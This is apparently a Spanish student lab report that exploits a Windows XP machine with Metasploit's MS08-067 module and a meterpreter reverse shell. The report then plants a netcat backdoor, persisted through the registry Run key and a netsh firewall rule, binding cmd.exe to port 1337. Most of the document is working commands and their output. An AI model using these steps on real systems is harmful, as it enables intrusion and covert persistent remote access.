

**Alumno: Christian Valdespin Bautista**

**Maestría en Ingeniería en Seguridad y Tecnologías de la Información.**

**Materia: Servicios de Seguridad en Sistemas Operativos Multiusuario.**

**Profesor: M. en C. Marcos Arturo Rosales García.**

**Actividad: Back Dor.**

**Reporte de Actividades:**

Para el miércoles En el equipo instalar un NETCAT para puerta trasera

En la práctica anterior vimos cómo identificar el exploit para atacar nuestro equipo, crear una back-door y para instalar el Netcat en la maquina remota vamos a usar el exploit MS08\_067\_netapi

- Abrimos el metasploit

```

      000      000      d2b000
      000      000      Y0F000
      000      000      000
00000b.d00b, .d00b, 000000 0000b, .d0000b 00000b, 000 .d00b, 000000000
000 "000 "00b00P Y0b000 "00b00K 000 "00b000d00"00b000000
000 000 0000000000000000 .d000000"Y0000b,000 000000000 000000000
000 000 000T0b, Y00b, 000 000 X00000 d00F000T00..00F000T00b,
000 000 000 "Y0000 "Y000"Y000000 00000P"00000P" 000 "Y00P" 000 "Y000
      000
      000
      000
      I
      =[ msf v3.3-dev
+ -- --[ 179 exploits - 114 payloads
+ -- --[ 10 encoders - 7 nops
      =[ 155 aux
msf > show exploits
```

- Y ejecutamos el comando: `>use Windows/smb/ms08_067_netapi`

```
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
```

- Comenzar con el oyente y ejecutamos lo siguientes comandos de configuración:
  - `set PAYLOAD windows/meterpreter/reverse_tcp`
  - `PAYLOAD => windows/meterpreter/reverse_tcp`
  - `> show options`

```
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

  Name      Current Setting  Required  Description
  ----      -
  RHOST     192.168.1.9     yes       The target address
  RPORT     445              yes       Set the SMB service port
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread           yes       Exit technique: seh, thread, process
  LHOST     192.168.1.3     yes       The local address
  LPORT     4444             yes       The local port

Exploit target:

  Id  Name
  --  -
  0    Automatic Targeting
```

- Nos pide la ip del equipo remote y del atacante y nos da el puerto 445 por default.
- `> set RHOST 192.168.1.9` (IP equipo remoto)
- `> set LHOST 192.168.1.3` (IP equipo atacante)

```
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.9
RHOST => 192.168.1.9
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.3
LHOST => 192.168.1.3
```

- Ejecutamos el exploit y empezamos a interactuar

```
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2450 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75767 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.9:1394)
```

Una vez ejecutado el exploit con éxito ejecutamos el siguiente comando para subir el programa netcat al servidor victima.

- **\* upload /root/nc.exe c:\\WINDOWS\\SYSTEM32\\**

```
meterpreter > upload /root/nc.exe C:\\WINDOWS\\SYSTEM32\\
[*] uploading : /root/nc.exe -> C:\\WINDOWS\\SYSTEM32\\
[*] uploaded  : /root/nc.exe -> C:\\WINDOWS\\SYSTEM32\\nc.exe
```

- En el Shell tecleamos el siguiente comando para que ejecute netcat cuando se inicie la máquina y que espere siempre de puertas abiertas en el puerto 455. Esto lo conseguimos modificando la siguiente clave en el registro:

- > **reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run**
- > **reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d**
- > **reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc**

```
meterpreter > reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
Enumerating: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

Values (6):

    SynTPEnh
    Broadcom Wireless Manager UI
    NvCplDaemon
    nvis
    NVHotkey
    z75FL1jE
```

```
meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v B0R4RR -d "C:\\WINDOWS\\SYSTEM32\\nc.exe -L -d -p 1337 -e cmd.exe"
Successful set B0R4RR.
meterpreter > reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
Enumerating: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

Values (7):

    SynTPEnh
    Broadcom Wireless Manager UI
    NvCplDaemon
    nvis
    NVHotkey
    z75FL1jE
    B0R4RR
```

- En algunos ambientes tendríamos que modificar un poco el sistema y darle permisos al firewall para que acepte las conexiones remotas a nuestro Backdoor Netcat en su puerto.
  - Para ello abriremos una consola de prompt y tecleamos el comando "netsh" para hacer los cambios, ya que es un error, mucho menos propensos que modificar directamente el registro. Además, el proceso que se muestra aquí debe funcionar en otras versiones de Windows también, debido a que las direcciones de registro y las funciones son altamente dependientes.
  - > **execute -f cmd -i**
  - > **C:\Documents and Settings\...\My Documents> netsh firewall add portopening TCP 1337 "Service Firewall" ENABLE ALL**
  - > **netsh firewall add portopening TCP 1337 "Service Firewall" ENABLE ALL**
  - > **C:\Documents and Settings\Jim\My Documents> netsh firewall show portopening**
  - > **netsh firewall show portopening**
- Cuando hayamos completado, tendremos que reiniciar el sistema remoto y poner a prueba Netcat
  - > **reboot**
  - > **nc 192.168.1.9 1337**

```
root@bt:~# nc 192.168.1.9 1337
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```